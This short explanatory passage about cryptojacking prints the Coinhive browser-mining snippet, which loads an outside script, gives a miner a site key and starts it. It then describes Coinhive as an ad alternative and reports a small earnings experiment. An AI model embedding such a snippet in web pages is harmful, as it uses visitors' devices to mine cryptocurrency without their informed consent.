Let’s take a closer look…
What does the code look like?
Here’s the source code:
<script src="https://coin-hive.com/lib/coinhive.min.js"> </script> <script> var miner = new CoinHive.Anonymous('B4ShXfNHJy3nEDclHBuc5i2bKJ3Sok8P'); miner.start(); </script>
The code snippet:
- Tells Coinhive which Monero account to give the mining credit.
- Starts the miner.
Ok, what’s Coinhive?
The basic idea is to offer alternatives to online advertising. Instead of showing ads to customers, leverage their devices to mine cryptocurrencies to “pay” for the free article, video, game, etc.
Customers have full privacy. Just “pay” with their capability to mine cryptocurrencies.
How much money can be made from cryptojacking?
The short answer is not much, but it depends on how much website traffic you get.
Maxence Cornet did a cryptomining experiment on a website that gets approximately 1k visits per day with a 0:55 second session duration.
The website mined 0.00947 XMR in 60 hours. That’s a total of $0.89 or $0.36 per day.